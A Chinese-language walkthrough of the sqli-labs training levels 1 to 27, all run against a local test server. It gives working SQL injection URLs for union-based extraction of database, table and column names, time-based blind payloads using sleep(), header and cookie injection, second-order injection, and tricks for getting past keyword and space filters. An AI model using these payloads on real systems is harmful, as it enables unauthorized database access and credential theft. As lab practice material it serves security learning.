第一关
注入点:http://127.0.0.1:8813/Less-1/?id=1
判断闭合类型:http://127.0.0.1:8813/Less-1/?id=1'
通过错误判断闭合类型为单引号
判断查询数据的字段数量,并判断回显位置
http://127.0.0.1:8813/Less-1/?id=1'+union+select+null,null--+
http://127.0.0.1:8813/Less-1/?id=1'+union+select+null,null,null--+
正常回显从而判断查询字段为三位
http://127.0.0.1:8813/Less-1/?id=1'+and+1=2+union+select+1,2,3--+
判断回显位置为后两位置
查询数据库名
http://127.0.0.1:8813/Less-1/?id=1'+and+1=2+union+select+1,(select database()),3--+
查询该数据库的所有的表名
http://127.0.0.1:8813/Less-1/?id=1'+and+1=2+union+select+1,(select database()),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查询users数据库的所有的字段名
http://127.0.0.1:8813/Less-1/?id=1'+and+1=2+union+select+1,(select database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
第二关
判断注入的类型
http://127.0.0.1:8813/Less-2/?id=2-1
http://127.0.0.1:8813/Less-2/?id=1
两次的结果一样,判断为整型注入类型,如第一关一样判断查询的字段的数量,并且使用union注入判断回显的位置,并查询相关的数据
http://127.0.0.1:8813/Less-2/?id=1 and 1=2 union select 1,2,3
http://127.0.0.1:8813/Less-2/?id=1 and 1=2 union select 1,(select database()),(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())
第三关
第一步判断注入的类型
http://127.0.0.1:8813/Less-3/?id=2-1
由于2-1未被计算出来,回显的内容与id=2时一样,判断为字符型的注入
第二步判断闭合的方式
http://127.0.0.1:8813/Less-3/?id=1'
http://127.0.0.1:8813/Less-3/?id=1')--+
根据请求报错的提示,发现单引号引起了报错并且出现了一个括号,所以判断闭合方式为单引号加括号进行的闭合
第三步判断查询的字段数量以及回显的字段位置(使用order by判断字段的数量)
http://127.0.0.1:8813/Less-3/?id=1')+order+by+3--+
http://127.0.0.1:8813/Less-3/?id=1')+order+by+4--+
根据出现报错的内容可知无法根据第四个查询字段进行排序,第四个查询字段未知,可判断没有四个字段,而根据第三个字段进行排序时未报错,判断查询的字段数量为3个
使用union查询来判断回显的字段
http://127.0.0.1:8813/Less-3/?id=1')+and+1=2+union+select+1,2,3--+
根据回显的数据发现回显的是二三字段
第四步构造轮子查询你想要的查询的内容,方法如前两关相同
第四关
第一步判断注入类型使用id=2-1根据回显的内容判断注入的类型,判断为字符型
第二步判断闭合的类型
http://127.0.0.1:8813/Less-4/?id=2")--+
第三步判断查询的字段数量,及回显的位置
第四步如上面的关卡相同
第五关
第一步判断注入的类型,通过判断回显内容是否发生变化判断注入类型,如果未发生变化则为字符型
http://127.0.0.1:8813/Less-5/?id=2 and 1=2
内容未发生变化为字符型
第二步使用burpsuite进行抓包,判断闭合类型
对三个包的content-length进行比较发现为单引号闭合
第三步构造轮子,遍历得出需要查询的结果
由以上的结果判断查询结果的长度为8
爆破得出数据库的名为security
由上爆破获得security库中第一个表名的长度
由上爆破的第一个表名为emails,用同样的方法也可以得到其他表的表名
由上面爆破结果可判断查询security包含四个表,表名的长度 分别为6,8,7,5
由上遍历爆破users表中的所有的字段的长度及数量
以下爆破获得所有的字段名字为id,username,password
第一种方式
第二种方式
爆破查询第一条用户password和username的信息
第一步获得拼接后password和username的长度
第二步爆破获得信息
第六关
第一步判断闭合的方式
http://127.0.0.1:8813/Less-6/?id=2"--+
第二步使用burpsuite爆破数据库的名字
接下来的步骤和上一关相同
第七关
判断闭合方式,通过使用单引号产生报错,双引号无报错,单引号加注释后继续报错,添加一个括号,仍旧报错,继续添加括号,无报错,可以得出闭合方式为单引号加两的括号,后续操作同上一关相同
第八关
为单引号闭合,操作同第五关相同
第九关
第一步判断闭合方式,由于用以上的任何的内容输入显示的内容都无任何变化,尝试使用sleep延长响应的时间来判断闭合的方式
http://127.0.0.1:8813/Less-9/?id=2'+and+if(1=1,sleep(3),1) --+
使用单引号使用如上的语句时页面回显的时间明显的延长,而使用双引号则无明显的变化,判断闭合的方式为单引号
第二步使用burp构造轮子构造轮子爆破相关的内容
从响应时间的长度判断得出数据库名的长度为8
后续操作同上面的步骤相同只需将if条件成立后的执行的语句改为sleep(4)就行,就能依次爆破出需要的数据
第十关
判断闭合类型,判断的方式同第九关相同,最终判断闭合方式为双引号闭合,最后使用burpsuite进行爆破获得需要的数据,方式同上面的相似
第十一关
第一步判断闭合类型,使用单引号产生报错,根据报错的类型判断出闭合的类型及sql语句的大概的结构
第二步判断查询的字段的数量使用union
第三步使用union联合注入查询数据
第十二关
第一步判断闭合的类型,输入1"产生报错信息
判断闭合的类型为双引号加括号
后续的操作同上一关卡相同
第十三关
使用单引号产生如下的报错信息
由此可判断闭合的类型为单引号加括号
按照如上的步骤构造sql语句,发现成功登录,当是无法看到查询的数据内容,所以接下需要使用盲注的方法对需要查询的数据库的内容进行爆破
爆破数据库名的长度
爆破数据库的名称
成功爆破数据库名为security
第十四关
判断闭合类型为双引号,使用输入2"产生报错信息
判断闭合方式为双引号闭合
本关卡同上一关类似查询内容的无回显需要使用burpsuite进行爆破
第十五关
尝试输入单双引号发现无任何报错内容的回显,使用盲注测试,方式同第九关类似,发现当使用当用输入1' or 1=if(1=1,sleep(1),0)#时响应明显的变慢,当修改sleep的值为0时响应的速度明显的有差异,由此判断闭合的方式为单引号闭合,接下来可以使用之前的方式进行爆破,获取需要查询的数据
第十六关
此关同上一关使用的方式相同,使用类似的语句进行fuzz测试,发现闭合的方式为双引号加括号,接下来使用之前的方式进行爆破就行
第十七关
该关卡使用的是update进行更新密码,并且只能使用#作为注释,无法使用--+进行注释
从源码进行分析username字段输入进行检测,无法被利用,并且username必须存在,才可以利用password进行sql注入,在这里使用的是报错注入的方式
第十八关
header中ua注入,注入点在header中,根据源码可知该注入点的sql语句是使用insert语句,有两种方法进行sql注入,第一种是直接在原地使用逻辑关系进行注入,第二种是使用注入构造出正确的语句来进行注入攻击,注意用户名和密码必须在正确的前提下才可以进行注入,如下:
使用两个and构造逻辑关系或者使用or,使得sql能够正常的执行出我们需要结构暴露出来
使用#注释,然后在构造语句,最终产生报错注入
总结两种方法,显然在日常的sql注入中使用第一种方法更加的现实,能够更加容易的构造出正确的sql语句,第二种方法由于对插入的字段的值的数量无法确定所以比较难构造出正确的sql语句
第十九关
这一关是referer注入,方式和上一关相同,只是注入点的位置发生了变化
第二十关
这关注入点在cookie,方式同上,注入点在get请求index.php的cookie处
第二十一关
同样时cookie注入,不过cookie的内容使用base64进行了加密,可以利用burpsuite的decoder模块进行加解密
根据结果进行判断闭合方式为单引号加括号
成功的获取到需要的信息
第二十二关
方法同上一关相同,使用同样的方法判断发现闭合方式为双引号,接下就可以继续使用报错注入的方式获取数据
第二十三关
查看源码
从中可以发现对注释进行了限制,但是我们可以通过使用or '1'='1 的方式去闭合最后面的引号使得sql语句逻辑正确可以正常的执行
接下来就可以继续使用union注入查询需要的数据内容
第二十四关
这一关需要先创建一个账户admin'#密码123456,然后登录进行修改密码,发现admin的密码已经把admin的密码进行了修改,这是二次注入,可以通过观看源码进行解析
从源码可以知道,在修改密码时,并未对用户名进行处理,这里对二次注入提供了注入点
第二十五关
过滤了or和and,需要使用%26%26和||代替,接下来的操作和之前的关卡一样
第二十六关
注释和空格被过滤,可以使用||和%26%26代替or和and并且可以利用%a0代替空格,在利用永真的形式进行闭合使sql语句可以正常的执行
第26a关
首先使用fuzz方式确定闭合的方式为单引号闭合
使用 盲注的形式
第27关
同样可以使用盲注的方式进行sql注入